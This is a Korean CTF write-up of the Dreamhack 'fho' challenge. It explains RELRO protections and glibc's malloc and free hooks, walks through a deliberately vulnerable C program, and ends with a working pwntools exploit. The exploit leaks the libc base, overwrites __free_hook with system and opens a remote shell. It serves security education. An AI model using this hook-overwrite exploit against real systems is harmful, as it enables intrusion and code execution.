개념정리
Read-Only Relocations (RELRO) 개념은 바이너리 익스플로잇 보호 메커니즘에서 중요한 역할을 한다. Full RELRO는 특정 유형의 익스플로잇을 방지하는 가장 강력한 보안 조치고 특히 GOT overwrite 기법을 막는 것에 효과적이다. 하지만 이를 우회할 수 있는 방법은 존재한다.
일단 RELRO 개념을 이해해보자.
RELRO는 3가지 종류가 있다.
- No RELRO (RELRO 미적용):
- 보안 수준: 최저
- 설명: 이 설정은 어떤 재배치 읽기 전용 보호도 구현하지 않습니다.
- 취약점: 공격자가 글로벌 오프셋 테이블(GOT)을 덮어쓸 수 있도록 허용하여 GOT 덮어쓰기 공격과 같은 다양한 익스플로잇에 취약합니다.
- Partial RELRO (부분적인 RELRO):
- 보안 수준: 중간
- 설명: 이 설정은 글로벌 오프셋 테이블(GOT)을 부분적으로 읽기 전용으로 만듭니다. 구체적으로, 재배치 섹션은 읽기 전용이지만, GOT는 여전히 쓰기 가능합니다.
- 취약점: 특정 재배치 섹션을 읽기 전용으로 만들어 일부 보호를 제공하지만, 여전히 공격자가 더 어려운 방법으로 GOT 항목을 덮어쓸 수 있습니다.
- Full RELRO (전체적인 RELRO):
- 보안 수준: 최고
- 설명: 이 설정은 프로그램 시작 시 모든 재배치가 해결된 후 GOT 전체를 읽기 전용으로 만듭니다.
- 보호: 공격자가 GOT 항목을 덮어쓰지 못하도록 하여, GOT overwrite 익스플로잇과 같은 많은 일반적인 공격 벡터를 완화합니다.
- 트레이드오프: 모든 재배치를 즉시 해결해야 하므로 시작 시 성능 오버헤드가 발생합니다.
즉, RELRO 개념은 메모리 영역에 R/W 권한과 연관된 보호기법이라고 이해하면 된다.
Full RELRO인 경우에는 쓰기 권한이 제한되기 때문에 GOT overwrite 같은 공격기법이 먹히지 않는다. 따라서 이를 우회하기 위한 새로운 공격기법이 필요하다.
대표적인 방법은 후킹 함수(hooking function)를 이용하는 방법이다.
C 언어는 동적 메모리 할당 및 해제 함수로 malloc
, free
, realloc
같은 함수가 있다.
다음은 hook 변수가 정의된 malloc() 함수 예제 코드다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
glibc 정의된 해당 함수들은 개발자의 디버깅 편의를 위해 hook 변수가 정의됐다.
- 각 hook 변수들은 실제 함수가 실행되기 전에 먼저 실행된다.
그렇다면 hook 변수를 미리 system() 주소로 덮는다면?
- system()가 실행된다.
Full RELRO 환경에서 이를 악용할 수 있는 이유는 libc 영역은 Full RELRO여도 쓰기 권한이 존재하기 때문이다. 따라서 Hook overwrite 기법을 이용하면 쉘을 획득할 수 있다.
문제풀이
└─# checksec fho
[*] '/root/dream/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
4가지 모든 보호기법이 적용됐다.
Full RELRO
이므로 GOT overwrite는 불가능하다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
- buf[0x30] 배열 선언
read(0, buf, 0x100)
로 0x100 바이트 입력하고 buf에 저장 후 출력- addr과 value를 입력하고 addr 주소에 value 저장
- addr을 입력하고
free()
로 addr을 해제
요약하면 원하는 주소에 데이터를 쓸 수 있고 free()
로 해제할 수 있다.
원하는 주소에 AAW(쓰기)가 가능하지만 Full RELRO이므로 GOT overwrite는 불가능하다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
코드에서 free()
를 실행하는 것을 알 수 있다.
free()는 hook 변수인 __free_hook을 실행한다. 따라서 __free_hook을 원하는 주소로 덮으면, 해당 명령이 실행된다.
일단 libc_base 주소를 구해야 한다.
- 개인적으로 libc_base 주소를 구하는 과정이 가장 어려웠다.
주소를 구하려면 main() 함수의 호출 원리를 이해해야 한다.
대부분의 ELF 프로그램은 start()
→ __libc_start_main()
→ main()
순서로 실행된다.
__libc_start_main()
를 실행하는 과정에서 main()
가 호출된다.
- 즉,
main()
의 RET은__libc_start_main + XXX
다. 따라서 offset인 XXX와main()
의 RET을 알아내면 오프셋 연산으로 libc_base 주소를 구할 수 있다.
0x000000000000092a <+112>: lea rax,[rbp-0x40]
0x000000000000092e <+116>: mov edx,0x100
0x0000000000000933 <+121>: mov rsi,rax
0x0000000000000936 <+124>: mov edi,0x0
0x000000000000093b <+129>: call 0x770 <read@plt>
read(0, buf, 0x100)
코드다.
<main+112>
를 보면 buf ~ rbp
의 거리가 0x40 바이트라는 것을 알 수 있다.
- 즉,
buf ~ RET
의 거리는 0x48이다.
libc_base 주소를 구했다면, __free_hook()
, system()
, "/bin/sh"
주소도 구할 수 있다.
공격시나리오를 작성해보자.
- main() RET 획득
- main() RET ==
__libc_start_main + 231
이므로Leak addr
-__libc_start_main offset + 231
==libc_base
주소다. - libc_base 주소를 이용해서
__free_hook()
,system()
,"/bin/sh"
주소를 구한다. __free_hook()
을system()
주소로 덮는다.free("/bin/sh") == system("/bin/sh")
를 실행해서 쉘을 획득한다.
main() 함수의 RET이 __libc_start_main + 231
인지는 동일한 환경을 구축해서 확인하면 알 수 있다.
참고로 ubuntu 환경마다 RET에 저장되는 __libc_start_main
오프셋은 다르다. 따라서 주어진 libc 파일의 버전에 맞춰서 분석 환경을 구성해야 한다.
ubuntu 18.04 환경에서 디버깅하면 RET = __libc_start_main + 231
라는 것을 확인할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",11779)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
log.info("libc_base : "+hex(libc_base))
log.info("system : "+hex(system))
log.info("free_hook : "+hex(free_hook))
log.info("/bin/sh : "+hex(binsh))
# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()